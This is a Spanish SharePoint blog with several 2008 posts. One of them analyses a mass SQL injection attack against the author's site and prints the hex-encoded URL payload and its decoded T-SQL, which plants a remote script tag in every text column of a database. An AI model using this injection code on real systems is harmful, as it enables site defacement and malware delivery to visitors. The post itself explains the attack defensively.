click analytics
SkunkWorks

Primer Simposio Latinoamericano de SharePoint

El 11 de noviembre de 2008 se realizará el Primer Simposio Latinoamericano de SharePoint en San Jose de Costa Rica.

Las inscripciones están abiertas, y el cupo es limitado, así que si desea participar se debe dar prisa. Información sobre formas de inscripción y más detalles puede encontrar en el sitio de Ricardo Muñoz (http://mundomoss.blogspot.com/2008/09/primer-simposio-lationamericano-de.html)

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with no comments
Filed under:

Cromeando a SharePoint

Y como se ve SharePoint en Chrome, la nueva invención de Google?

 

Igual a como se ve en Internet Explorer 8 (Beta 2):

 

Investigación no científica realizada en 10 minutos:

Se ve alguna diferencia?

- No

Es más rápido?

- No (tal vez una fracción de un milisegundo más rápido, pero es imposible de medir [lo he intentado sin éxito])

Usa menos memoria?

- No. Para mostrar una pantalla, Chrome usa tres procesos de 10.192 K, 30.400 K y 20.240 K (más de 60.000 K en total) y IE con la misma pantalla usa uno solo de 50.512 K

Alguna otra diferencia?

- La conocida diferencia de la consola de configuración de WebParts: Chrome la muestra de la misma forma que FireFox, pero tiene la misma funcionalidad que IE.

Conclusión:

O SharePoint lo hace muy bien, o Google no lo hace tan mal...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 2 comment(s)
Filed under:

Guarde el secreto... sobre clientes, SharePoint y aceptación de código...

Hace un par de días Microsoft ha liberado una lista de chequeo para aceptación de código de SharePoint, y lo primero que he pensado es: hmmm... Microsoft le está entregando un garrote mas a clientes de esos pesados que todos conocemos, que no hacen más que discutir sobre cosas de las que no tienen ni idea apoyándose en información de la que no entienden ni jota...

El nombre en ingles del articulo es “Sample code acceptance checklist for IT organizations”, y lo puede encontrar en http://technet.microsoft.com/en-us/library/cc707802.aspx (on-line) o en http://go.microsoft.com/fwlink/?LinkId=125134&clcid=0x409 en formato Word. Un extracto en español lo puede encontrar en http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=0&itm=725. La lista esta divida en secciones (Seguridad, manejo de sesión, etc) y diciendo la verdad, me parece que hay algunos puntos interesantes para tener en cuenta, pero muchos caben simplemente en las “buenas prácticas” de cualquier software, no solamente de software para SharePoint, y algunas son simplemente o no realizables, o totalmente subjetivas.

Veamos, alguien sabe que es “IOSec”? estupendo que tantos levanten la mano... yo no tenía ni idea hasta que estuve googleando al respecto. IOSec es una librería para evitar vulnerabilidades de cross-site scripting (http://blogs.msdn.com/ace_team/archive/2006/03/13/550687.aspx ), que en realidad, me parece a mí, hace el mismo papel que la bien conocida clase SPEncode de WSS, es decir, codificar caracteres “peligrosos” como “<” y “>” en su equivalente de HTTP, de tal forma que no se puedan usar para inyectar scripts. Por supuesto, es una buena regla de conducta, pero supongo que es una de las primeras cosas que se aprenden a usar cuando estas programando para SharePoint... Lo mismo se puede decir de cosas tan obvias como no usar claves sin encriptar en el web.config o en cookies o en cualquier otro sitio que se pueda ver fácilmente.

Y ya que vamos por ese lado, usted que prefiere: ISO-8859-1 o UTF-8? Bueno, otra de las cosas con las que nos van a dar garrote cuando estemos entregando el famoso código. La lista recomienda usar ISO, pero lo chistoso es que todos los archivos de SharePoint, creados por Microsoft mismo, usan UTF-8. Y en cuanto a mí, si quiere quitarse los problemas de encima cuando está usando caracteres fuera la tabla ASCII extendida, no le queda más remedio que usar Unicode... a ver como se lo explicamos a nuestros clientes...

Y en cuanto a explicar, el tiempo que nos va a costar explicar porque código de validación está o no está en el lado del cliente... La lista recomienda: “Seguridad no se debe basar en validación en el lado del cliente. En lugar de esto, validación debe ser hecha al lado del servidor”. Esta es una de esas cosas que cada uno hace según su propio juicio, y que no siempre es explicable el porqué. Validaciones complicadas, en donde hay que validar contra diferentes fuentes es imposible de hacer al lado del cliente; en validaciones “comunes y corrientes”, como por ejemplo si la entrada es un numero o no, no tiene sentido hacer todo un viaje al servidor para ser realizadas, con un simple validador en el cliente es suficiente. De acuerdo, de acuerdo, ya sé que validaciones al lado del cliente pueden ser anuladas en el navegador mismo, pero atrapándo la excepción que se va a generar en el servidor es suficiente, pues sabemos (y nuestro cliente tiene que saberlo también) que para usar a SharePoint, el navegador tiene que tener el motor de Java activado... En cualquier caso, si quiere ser paranoico, valide en los dos lados, aunque yo diría mejor que hay que ser pragmático, confiar en el buen juicio del programador y rezar un par de padre nuestros a su dios favorito...

Regresando a la lista, hay algunas cosas que son incomprensibles; un buen ejemplo: “The design addresses potential canonicalization issues”. Fuera de que “canonicalization” es prácticamente impronunciable, la oración en realidad no dice nada más que “el diseño tiene que cumplir ciertas especificaciones”, sin especificar las especificaciones a especificar... otro de esos garrotes con los que nos pueden machacar la cabeza por delante o por detrás, pues no está especificado...

En cualquier caso, si le quedan cinco minutos libres, dele una leída a la lista, y, sobre todo, tenga en cuenta algunos de los puntos que menciona. Pero al final, todo este rollo es solamente para pedirles el favor de que guarden el secreto muy bien guardado y no le cuenten a nadie que esta lista existe, no sea que alguno de mis clientes se la lea, y se me ponga pesado cuando vaya a recibir el código del proyecto...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with no comments
Filed under:

El Manual de Campo de Sabotaje, SharePoint y SQL 2008

Andando por aquí y por allá en la red, mientras espero que SQL haga el upgrade de 2005 a 2008 (hasta ahora sin problemas) en uno de mis servidores de SharePoint, me he encontrado el “Manual de Campo de Sabotaje Simple”, preparado por los Servicios Estratégicos del ejército norteamericano durante la segunda guerra mundial (enero 17 de 1944), http://www.gutenberg.org/etext/26184. Fuera de ser gracioso para leer, y también muy útil si esta en el medio de una guerra y quiere hacer el mayor daño posible sin ser atrapado (“sature una esponja con solución de azúcar; comprímala en una bola, enróllela con una cuerda y déjela secar. Remueva la cuerda cuando este seca y tirela por un sanitario; la esponja se expenderá gradualmente y trancara la tubería de desagüe”), me ha hecho recordar una de las personas con las que tuve que trabajar en uno de mis últimos proyectos...

Probablemente la parte más interesante del Manual es la sección final: “Interferencia general con organizaciones y producción”. Aunque parezca raro, un saboteador no es el que pone bombas y ataca convoys de trenes, como nos lo han hecho creer los millones de películas de los últimos cien años. El saboteador de verdad trabaja en una oficina como burócrata sin nombre, y le tira constantemente arena a los engranajes de la maquina oficial. Veamos las instrucciones para hacer que las cosas salgan más mal de lo normal:

1. Insista en utilizar los canales oficiales todo el tiempo, no permita que se utilicen vías expeditas

2. Cree todo tipo de “Comités” para “estudiar y considerar la situación”, y haga que los comités sean lo más grande posibles, nunca menos de 5 personas (así no se ponen de acuerdo nunca)

3. Haga relevantes las cuestiones que sean irrelevantes lo más frecuentemente posible

4. Recatee sobre las palabras precisas a utilizar en comunicados, minutas y resoluciones

5. Refiérase a puntos decididos en reuniones anteriores e intente abrirlos para discutirlos de nuevo

6. Siempre recomiende “precaución” e intente que sus colegas se comporten “precavidamente”

7. Siempre exija que las ordenes sean dadas por escrito

8. “No entienda” el trabajo que se le asigne. Pregunte hasta el infinito y, preferiblemente, discuta por escrito al respecto

9. Retrase todo lo más posible. Aunque entienda perfectamente lo que hay que hacer, no lo haga hasta que no haya leído completamente todos los manuales, correspondencia, etc

10. No ordene nuevo material hasta que el antiguo no esté prácticamente terminado y siempre pida material que es difícil de encontrar

11. Cuando asigne tareas a colegas, asigne el trabajo sin importancia primero. Asigne el trabajo sin importancia a sus colegas más capaces y el más importante a los menos capaces

12. Insista en obtener trabajo perfecto en cosas irrelevantes y no sea exigente con cosas relevantes

13. Para bajar la moral, sea complaciente con colegas ineficientes y promuévalos frecuentemente. Discrimine trabajadores eficientes y quéjese habitualmente de su trabajo

Bueno, la lista sigue y sigue, pero me parece que todos reconocemos a alguien en nuestro entorno que satisface por lo menos una de estas recomendaciones...

Y volviendo al proyecto que les contaba al principio, el encargado de manejar el proyecto por la parte de mi cliente era (es) todo un experto saboteador... probablemente se había leído el manual de marras antes de que yo lo hubiera encontrado. Para decidir hasta la más pequeña modificación era necesario organizar una reunión con la mayor cantidad posible de participantes, en la que con toda seguridad se revisarían puntos resueltos con mucha anterioridad (puntos 1, 2 y 5). Era prácticamente imposible hacer las cosas de una manera más eficiente (crear un Job de SharePoint para importar elementos desde un sistema de archivos) pues se debería trabajar con cautela (punto 6). Todo lo que se decidía había que ponerlo por escrito y enviar dos docenas de emails a veinte personas diferentes, de los cuales regresaban 19 pidiendo mayores explicaciones (puntos 7, 8 y 9). Los servidores para producción los pidió una semana antes de la fecha límite para poner todo on-line, y exigía que tuvieran discos duros de 15.000 rpm (punto 10). Junto con un colega estuvimos ocupados literalmente días y días corriendo tablas un pixel hacia la izquierda y cambiando el color de letras a “un gris menos oscuro” (puntos 11 y 12)...

Bueno, mi servidor ha terminado de hacer la migración de SQL a 2008 sin problemas. Inclusive SharePoint está funcionando como si no se le hubiera cambiado la Base de Datos... estupendo. El upgrade me ha aumentado el espacio utilizado en el disco duro en 600 MB... aceptable. A veces Microsoft hace las cosas bien... aunque a veces tenga la extraña idea de que el Manual de Campo de Sabotaje es lectura obligatoria para todos los empleados de Microsoft... probablemente me equivoco...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with no comments
Filed under:

Alguien me puede explicar porque... (SharePoint y demás)

1 - Windows 2008 - Internet Explorer 7 - WSS y/o MOSS:

Porque la animación no funciona?

2 - Windows 2008 - Administrador de tareas de Windows:

Porque se me perdieron las pestañas de “Aplicaciones”, “Procesos” y “Servicios”?

3 - Windows 2008 - runas.exe. El programa (que ha existido en Windows desde el tiempo de los dinosaurios) todavía se puede encontrar en el directorio C:\Windows\System32.

Porque cuando se intenta utilizar produce este mensaje?

4 - Instalar SQL 2008 en un Windows 2008 que contiene Visual Studio 2008

Porque aparece ese mensaje (y no se puede instalar), siendo que el SP1 para Visual Studio 2008 todavía no existe? (Solamente en Beta, inapropiado para trabajar con sistemas de producción [2008-08-09]).

5 - Porque el “Internet Explorer Developer Toolbar” no funciona en Windows 2008 con IE 7?

6 - Algo que he encontrado, para no ser totalmente negativista: Cuando se crean bastantes usuarios en Windows 2008, todos aparecen en la pantalla de Logon. Para evitarlo, puede iniciar el programa de “Directiva de seguridad local” desde las Heramientas administrativas de Windows, y en “Configuración de seguridad” - “Directivas locales” - “Opciones de seguridad” habilite las opciones “Inicio de sesión interactivo: no mostrar el ultimo nombre de usuario” e “Inicio de sesión interactivo: no requerir Ctrl+Alt+Supr”, lo que produce en el Logon:

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with no comments
Filed under:

Hay cosas inútiles, cosas totalmente inútiles y Métricas de Código (sobre todo para desarrollo con SharePoint)

Todos tenemos de esas cosas que nos enervan... cuando empieza a llover (y nos mojamos) en un día de sol... la fila en el supermercado que avanza más rápido que en la que estas... despertarse y no poderse volver a dormir... Métricas de Código... cosas de esas que te irritan sin saber por que...

En estos días, por eso de que hay que estar al tanto de lo que pasa en el mundo, he estado dándole una revisada a las últimas herramientas para Visual Studio, sobre todo las últimas versiones de CodeRush y Resharper. Con herramientas para Visual Studio siempre he tenido una relación de amor-odio: me encantan por lo que pueden hacer y las odio porque son tan lentas y porque se comen tanta memoria y tiempo de CPU, que me rompen la “dinámica” cuando estoy escribiendo código... con toda seguridad me entienden... si estas inspirado y por fin te están saliendo las líneas de código a borbotones, lo menos que quieres es que una herramienta estúpida se demore media hora en mostrar la lista de Intellisense en una variable...

En fin, luego de usar un par de días Resharper 4.0, termine sacándolo del sistema por eso mismo... los 5.835 (o que se yo cuantos) shortcuts que utilizaba la version anterior son ahora 10 veces más, y la velocidad de operación es 2 veces menor... fuera de mi sistema... luego instale CodeRush 3.0.8; la verdad, este va evolucionando mas por el camino que yo desearía: menos funcionalidad que nunca se usa, y menos carga para el sistema. Aunque sigue poniendo problemas de vez en cuando, sobre todo por lo de las graficas que utiliza (CodeRush era anteriormente conocido como CodeCrash, según me comentaba alguna vez Hadi Hariri), es bastante más rápido para utilizar que Resharper, y la verdad sea dicha, la parte grafica es realmente encantadora (cuando funciona).

Pero se trata de Métricas de Código. Pues bien, CodeRush ofrece la posibilidad de mostrar al lado de cada método o clase que crees un número indicando la cantidad de renglones del método, su Complejidad Ciclomática o su Complejidad de Mantenimiento. Estos dos últimos son Métricas de Código que pretenden indicar que tan difícil de entender es un pedazo de código (“Cyclomatic Complexity en SharePoint” http://geeks.ms/blogs/gvelez/archive/2007/09/02/cyclomatic-complexity-en-sharepoint.aspx ) o que tan difícil será para darle mantenimiento. La forma para calcular la Complejidad de Mantenimiento es tan complejo que es prácticamente imposible de darle mantenimiento, pero si lo desea saber en detalle, en el articulo “Here’s your new metric” (http://www.doitwith.net/PermaLink.aspx?guid=39a0e537-5d0e-4f9b-ac5c-51e8b3d1d4ec) encontrará todo lo que desee saber al respecto. En resumidas cuentas, un número mayor de 1001 es “Ultra-complejo, extremadamente difícil de mantener, alta prioridad para simplificar”.

Pues bien, da la casualidad de que yo trabajo con SharePoint, en donde si quiero hacer una WebPart tengo que usar un override de un método que se llama “CreateChildControls”, en donde tengo que crear todas las instancias de los controles que quiero usar y asignarles sus propiedades básicas. En la WebPart que estaba construyendo, tengo 38 controles creados, lo que me produce un Maintenance Complexity de 1154, una enorme raya roja a lo largo de toda la rutina y un enorme insulto del compilador cuando genero el ensamblado... pero que quieren que haga? Partir el CreateChildControls en 38 rutinas pequeñitas y llamarlas desde el metodo una por una? Eso es mas inmantenible que el código actual... y entre otras cosas, los 38 controles usan cada uno código muy sencillo, que no tiene ningún problema de mantenimiento por si mismo... Métricas de Código son estúpidas... CodeRush fuera de mi sistema...

Sigamos... Visual Studio 2008 Team System viene con Métricas de Código: excelente. Podemos ver Profundidad de Herencia, Acoplamiento de Clases, Complejidad Ciclomática e Índex de Mantenibilidad. Por supuesto que este último es diferente al de CodeRush, y, si lo desea saber, es calculado según la fórmula:

Maintenability Index = 171 - 5.2 * log2 (Halstead Volumen) - 0.23 * (Cyclomatic Complexity) - 16.2 * log2 (Lines of Code)

Queda claro? Perfecto... Como se habrá podido dar cuenta, 171, 5.2, 0.23 y 16.2 son factores calculados científicamente por la Carnegie Mellon University (no, en serio, no es para reírse, léalo usted mismo en http://blogs.msdn.com/fxcop/archive/2007/11/20/maintainability-index-range-and-meaning.aspx si no me cree) de tal forma que te salga un numero entre 100 (muy bien) y 0 (requetemal). Yo diría que lo hicieron al revés, un indexe de mantenibilidad de cero me dice que hay que darle cero mantenibilidad, pero quién soy yo para contradecir a la Carnegie Mellon University...

Pues bien, al intentar usar las Metricas de Visual Studio 2008, sale inmediatamente un error “An error ocurred while calculating code metrics for target file bla-bla-bla...”. Googleando por aquí y por allá, parece que es un bug del tamaño de una vaca, que posiblemente será corregido en el Service Pack 1 de VS, y que para evitarlo hay que meter referencias a los NameSpaces mencionados en el error (http://neovolve.com/archive/2007/12/21/bug-found-in-calculating-code-metrics-in-vs2008.aspx). Luego de hacerlo de esa forma, es posible hacer funcionar la cosa, y que resulta? Que mi método CreateChildControls tiene un Maintenability Index de 25... Bastante malo... Métricas de Código a la basura... O soy yo el que está metiendo las patas por algún lado?... lo único que puedo decir es que digan lo que digan la Métricas de Código, mi código funciona bastante bien, y hasta ahora solamente un par de programadores incapaces e ineptos se han atrevido a quejarse de que no es mantenible...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 2 comment(s)
Filed under:

SharePoint en Windows 2008: una píldora amarga, pero saludable

En estos días, aprovechando que me han quedado un par de horas sueltas, me he puesto a rehacer mis maquinas virtuales. Las pobres sufren tanto, que de vez en cuando hay que jubilar las antiguas y crear nuevas.

Para estar al día, me ha dado por utilizar el “nuevo” Windows 2008. Con resultados... digamos... sorprendentes. Hasta ahora, fuera de haber instalado un par de veces a SharePoint en Windows 2008 para ser usado en servidores de prueba o producción, nunca lo había utilizado para una de mis maquinas virtuales de trabajo cotidiano. Siempre me ha gustado la velocidad del nuevo Windows para instalarle software, SQL cuesta un par de minutos, inclusive el mismo Windows es bastante rápido e indoloro para instalar. Hay que acostumbrarse a algunas cosas nuevas, como la pantalla administrativa de IIS, por ejemplo, pero rápidamente se le encuentra el gusto al asunto, y se nota que en realidad el sistema es más rápido.

Y más grande, y usa más espacio de disco duro, y más memoria... pero eso no es nada nuevo: cada Windows es más y más y más... Cuando hace un par de años una maquina virtual con Windows 2003 cabía comprimida en un CD, ahora se gasta nada más y nada menos que 6,5 GB solo para Win 2008: comprimida cabe apenas en un DVD, pasamos de un CD a un DVD en cuestión de un par de años. Y memoria, hace no mucho tiempo, con un MB de RAM era suficiente para usar XP y SharePoint 2003 sin ningún problema. Ahora Vista se traga por si mismo más de un MB, y a cada Maquina Virtual le tengo que meter por lo menos 1,5 MB para que funcione más o menos bien.

En fin, volviendo al cuento del principio, lo que necesito en una Maquina Virtual es bastante sencillo: Windows 2008, Office 2007 (Word, Excel, InfoPath, Outlook y SharePoint Designer), SQL 2005 (por eso de que todavía [todavía!!!] no ha salido un 2008 definitivo), Visual Studio (Team Suite, por eso de ser vanidoso y por deformación profesional) y WSS o MOSS. Y, por supuesto, mi colección de herramientas indispensables, pero esas no cuentan pues son bastante pequeñas en tamaño. Una maquina similar, creada con Windows 2003 R2 utiliza aproximadamente 5 GB de disco duro. Con Windows 2008, se me va a 12 GB, mas de dos veces el tamaño. Pero eso sí, funciona bastante rápido...

Y ahora, para no dar la lata más sobre el asunto, el par de lecciones aprendidas:

1 - Por eso de que VMWare hace maquinas virtuales con un disco duro de 16 MB por defecto (y soy tan perezoso que no se lo cambio), cuando terminas de instalar todo el rollo con Windows 2008 te quedas sin espacio. Para aumentar el tamaño del disco duro de una Maquina Virtual de VMWare, cierre Windows en el guest y utilice el comando:

                       Vmware-vdiskmanager -x [tamaño]GB [NombreArchivo].vmdk

(No debe haber SnapShots presentes). Cuando el proceso termine, inicie Windows de nuevo, y con las herramientas propias de Windows expanda la partición para que utilice todo el espacio nuevo. Fantástico, se puede realizar en cosa de minutos, y yo no tenía ni idea que se podía hacer (me costó un par de horas para encontrarlo, cosas de la ignorancia).

2 - Cuando estas usando Windows 2008 y quieres guardar un documento Word directamente en una Librería de SharePoint, el sistema simplemente no te lo permite: la Librería no aparece por ninguna parte en el explorador. Lo mismo si quieres usar la “Vista de Explorador”. Las dos cosas, pero sobre todo la primera son simplemente indispensables para trabajar con SharePoint. Pero no hay que desesperar: lo que hay que hacer es activar la Feature “Desktop Experience” de Win 2008, lo que permite hacer todo lo que quiero con SharePoint... y que también me instala el Media Player, el Windows Sidebar y la Photo Gallery, de los que no tengo ninguna necesidad, y que no hacen más que ocupar espacio. Pero eso no es tan malo, lo peor es que también me instala Aero, la interface grafica de Vista. Afortunadamente, el servicio que la activa (“Themes”) esta desactivado por defecto (por favor, por favor, no lo active por ningún motivo...). Otras dos horas perdidas buscando como hacer que Word funcionara con SharePoint en Windows 2008...

3 - Como no hay mal que por bien no venga, ni cuerpo que lo resista (o algo por el estilo), el Desktop Experience me instala también el botón de “Disk Cleanup” en la pantalla de propiedades del explorador de Windows, lo que me permite rápidamente limpiar el sistema, desfragmentarlo y reducirlo de tamaño con las herramientas de VMWare.

4 - Algunas cosas siguen sin funcionar:

- “Run As” no es aceptado de ninguna manera, así que ahora no puedo arrancar a IE con las credenciales de otro usuario... hmmm... lo único es cambiar el usuario usando el menú de SharePoint, pero yo preferiría que IE tuviera las credenciales buenas desde el principio

- El IE Developers ToolBar tampoco funciona. Se puede instalar e iniciar, pero eso es todo... todos los menús están en gris, y nada funciona... fui yo el que metió la pata en algún lado, o es que en realidad no funciona? Hasta ahora no he podido encontrar nada googleando...

- Arrastrar un archivo hacia la pantalla de Comandos tampoco está permitido (grrrrr....). Ahora hay que escribir todo el camino hasta el directorio que necesitas, lo que no es muy divertido con SharePoint si quieres usar stsadm (ustedes me entienden...)

- Si creas varios usuarios, todos aparecen en la pantalla de LogIn de Windows (no solamente el ultimo elegido, como lo hacía Windows 2003). Con un par de usuarios no hay problemas, pero cuando tenga que crear un par de cientos para hacer pruebas de carga o algo así? Voy a tener la pantalla de Login llena de usuarios? Supongo que habrá alguna manera de evitarlo, pero de nuevo, mi ignorancia es más grande que mi falta de conocimientos...

5 - Pero hay que ser sinceros... las maquinitas estas funcionan que da gusto...

PS: Alguien me puede explicar porque dos instalaciones idénticas de Windows, la una en ingles y la otra en español, la en español es 40’501.248 bytes más grande? Un poco exagerado para un par de Resource Files extras con cadenas en español, pensaría yo...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with no comments
Filed under:

Gracias señores (*!@#$%!!) por intentar hackear mi sitio... me han enseñado mucho sobre SharePoint

Desde hace un par de semanas los logs de mi sitio, SkunkWorks (el sitio ese dedicado a información sobre SharePoint, tal vez ustedes lo hayan visto alguna vez), están llenos de errores. Por eso de la deformación profesional, en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome, así que mi Outlook esta simplemente a reventar de errores producidos, registrados y enviados.

Los errores son todos del tipo:

 

http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=429;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323535292044

45434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616

D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7320622057

...

45205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);

 

Como estoy acostumbrado a recibir ataques de todo tipo en el sitio, en el principio no le he parado muchas bolas al asunto, pues mientras pueda detectar el ataque significa por defecto que el ataque ha fracasado. Pero en los últimos días la cosa es realmente una pesadilla, llegando a tener cientos de request por hora del mismo tipo.

Aprovechando un par de minutos de respiro, me he puesto a googlear al respecto, y para mi sorpresa veo que en el último par de meses este ataque se ha convertido en una real epidemia en Internet. De que se trata? Muy sencillo...

Como pueden ver, no es más que una inyección de código en el URL. Utilizando SQL se puede descifrar fácilmente la constante hexadecimal que están usando, lo que resulta que es algo por el estilo a:

 

DECLARE @T VARCHAR(255)

DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

SELECT Angel.[Name], Beer.[Name]

FROM sysobjects AS Angel, syscolumns AS Beer

WHERE Angel.[ID] = Beer.[ID] AND

Angel.[XType] = 'U' /* Table (User-Defined) */ AND

(Beer.[XType] = 99 /* NTEXT */ OR

Beer.[XType] = 35 /* TEXT */ OR

Beer.[XType] = 231 /* SYSNAME */ OR

Beer.[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)

BEGIN

EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.[algunHP].com/2.js"></script>''')

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

 

Mirando por aquí y por allá, resulta que la consulta lo que pretende es inyectar una referencia a un JavaScript en todos los valores de todas las columnas del tipo texto, sysname o varchar de todas las tablas en la Base de Datos. El JavaScript es un “Cross-Site Scripting Persistent” ataque que en teoría puede hacer de todo, desde meter propaganda en el sitio hasta introducir worms y troyanos en el computador del usuario. Si desea ver un análisis del query, los artículos “SQL Injection: More of the same” de Johannes Ullrich y “ASCII Encoded/Binary String Automated SQL Injection Attack” de Michael Zino ofrecen toda la información que desee saber sobre el tema.

Así que la cosa es seria. Y como reacciona SharePoint ante un ataque de este tipo? Por lo que he visto, bastante bien. Si lo desea probar, verá que en el primer request aparece muy ligeramente un JavaScript intentando hacer una redirección a un sitio fuera del dominio, pero el ataque es detectado inmediatamente y aparece una página de error de IIS (HTTP 400 Bad Request). Desafortunadamente en un sistema por defecto el error se logea solamente en IIS, no en SharePoint. Una búsqueda ligera en las tablas de SQL de SharePoint y en el código fuente de las páginas del Portal tampoco indican que el ataque ha tenido éxito.

Se puede detener el ataque? Por lo que he visto no. Las request vienen cada vez de una dirección IP diferente, de tal forma que no se pueden bloquear por ese lado. Lo único que se me ocurre es otro modulo HTTP que intercepte directamente en el URL las sintaxis sospechosas y las rechace automáticamente, pero eso no detiene el ataque, solamente lo para en la puerta de entrada, lo que ya está haciendo SharePoint por sí mismo. La respuesta parece que también es muy sencilla: habrá que esperar pacientemente a que se aburran y me dejen en paz...

En cualquier caso, todo esta historia es solamente para darles las gracias a los... como llamarlos... las palabras que se me vienen a la boca no se pueden escribir en un sitio como este... dejémoslos en “señores”, que están intentando tan fervorosamente romper mi sitio: en un par de horas he aprendido un montón sobre SQL e inyección de código... lo único es que sigo sin entender porque alguien se dedica a hacer algo así...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 1 comment(s)
Filed under:

Segundo numero de CompartiMOSS, revista especializada sobre SharePoint en español

El segundo numero de CompartiMOSS, la revista especializada sobre SharePoint en español acaba de aparecer. Puede encontrar el nuevo número del magazine en http://www.gavd.net/servers/compartimoss/compartimoss_main.aspx como un archivo pdf (dividido en dos partes para facilitar la descarga).

En este numero:

  • Editorial
  • Busquedas empresariales (Vladimir Medina)
  • Gestión Eficiente de LOGS en SharePoint (Hector Insua)
  • El Centro de Registros de MOSS (Gustavo Velez)
  • Validación de datos en la Data Form WebPart (Juan Carlos González Martín)
  • Timer Jobs (Àlex Peláez Membrado)
  • Secciones fijas

La idea de la revista es propagar el uso y conocimiento de SharePoint. Todas las personas que trabajan con SharePoint en el mundo hispanohablante están invitadas a participar.

La subsistencia de la revista depende no solo de la aceptación del magazine, sino de los aportes en artículos, ideas, experiencias de todos nosotros. Si desea tomar contacto con los editores, en la revista misma encontrara toda la información necesaria, o escriba sus comentarios directamente a compartimoss@gavd.net.

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

Posted by gvelez with 1 comment(s)
Filed under:

El futuro de aplicaciones enriquecidas y la red, mirado desde la perspectiva de SharePoint

Para rematar en estilo una semana de esas raras, me he puesto a mirar el cerro de E-mails acumulados, y me he encontrado un artículo de Michael K. Campbell en WindowsDev Pro (“The Future of Rich Internet Applications and the Web”). He estado buscando el articulo en Internet sin poderlo encontrar, así que no puedo dar una referencia, pero si a alguien le interesa leerlo, háganmelo saber y se los envío a vuelta de correo.

El artículo se trata de las modas que van y vienen (y desaparecen) en nuestro mundo informático, y sobre el tema de “Aplicaciones Enriquecidas” (“Rich Internet Applications”), o como lo llaman por ahí, el Web dos. Su premisa es que HTML, a pesar de todos los SilverLight de este mundo, seguirá vivito y coleando por este mundo virtual por muchos años más.

Como ejemplo representativo comenta del SQL CLR. No tiene ni idea que es el SQL CLR? Pues de eso se trata realmente, de que ya nadie se acuerda que es eso. El SQL CLR es la posibilidad de escribir código para SQL directamente desde CSharp o Visual Basic, sin tener que usar el T-SQL. Cuando el asunto apareció hace años en los betas de Yukon, todo el mundo estaba entusiasmado y dispuesto a usarlo. Yukon se convirtió en SQL 2005, SQL 2005 vino y se volvió a ir, y en el intermedio nadie ha creado un solo renglón de código en CSharp para conversar con SQL. Probablemente “nadie” es exagerado, pero como el señor Cambell dice, el no conoce a nadie que lo haya utilizado alguna vez, y yo menos aun.

Algo similar puede ocurrir con Silverlight. Silverlight es una enorme promesa, por su riqueza y potencia. Gracias a las herramientas que Microsoft ha creado para ser utilizadas con Silverlight, la cantidad de código que hay que escribir para hacer algo bueno, bonito y rápido es mínimo. Que Silverlight es el “killer” de Macromedia Flash, más o menos todo el mundo está de acuerdo. Flash fue hace diez años la promesa que es ahora Silverlight, y ya vemos en que se ha convertido: el medio para crear propaganda que nadie quiere ver. En realidad Flash se va a morir por sus características autistas: si alguna vez ha intentado hacer comunicar un video Flash con el mundo exterior, se habrá dado cuenta que es más o menos entre dificilísimo e imposible... problema que parece no está teniendo Silverlight.

Pero no todo es color de rosa para Silverlight, y algunas de sus características son inherentemente débiles. Como Michael Campbell comenta en su artículo, el problema mayor de técnicas como Flash o Silverlight es que son dirigidas a mejorar la “Experiencia del Usuario”, olvidando que detrás de imágenes bonitas y videos agarradores, de lo que la red se trata es de contenido. Es decir, la experiencia del usuario muestra solamente el contenido que (en su mayoría) se genera dinámicamente, y que por la manera intrínseca de funcionamiento de Flash o Silverlight, es invisible para maquinas de búsqueda: Google o Yahoo o Microsoft Live (alguien usa MS Live?) son incapaces de indexar contenido presentado con estas técnicas. Y para empresas que basan sus ingresos en número de visitantes (que es lo que mueve en realidad a Internet), estas técnicas, aunque muy interesantes visualmente, no son interesantes comercialmente.

Extrapolando el asunto a SharePoint, el asunto no solo es de indexación de contenido (al motor de búsqueda de SharePoint lo podemos configurar para que busque directamente en el contenido del sistema, sin necesidad de indexar las pantallas), sino que, a pesar de que es posible usar Silverlight para crear WebParts, la técnica es prácticamente inutilizable por complicada y poco confiable. Por supuesto que cada vez vemos mas y mas sitios de SharePoint usando a Silverlight, pero yo personalmente no me atrevo a crear una intranet o extranet para un cliente mío usando Silverlight pues no puedo garantizar que el asunto seguirá funcionando sin problemas por los próximos años, y con cargas incrementales de utilización. Alguien ha hecho pruebas de carga, por ejemplo, de un sitio con una WebPart creada con Silverlight? No que yo sepa...

PS: Cambiando de tema, me había prometido no comentar nada sobre el asunto, pero me parece que es injusto con todos los amigos que me han escrito los últimos días, enviándome sus congratulaciones. En realidad, nada del asunto habría sido posible sin este grupo de amigotes cabeciduros que se les había metido la ida terca de que Microsoft y yo tuviéramos un vínculo de trabajo más estrecho. En fin, ellos lo han logrado, y yo se los agradezco de corazón. A ver con que resultamos en los próximos años, ahora que podemos colaborar más estrechamente para divulgar a SharePoint como el producto grande que es... de nuevo, gracias a todos, ellos y ellas...

Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...

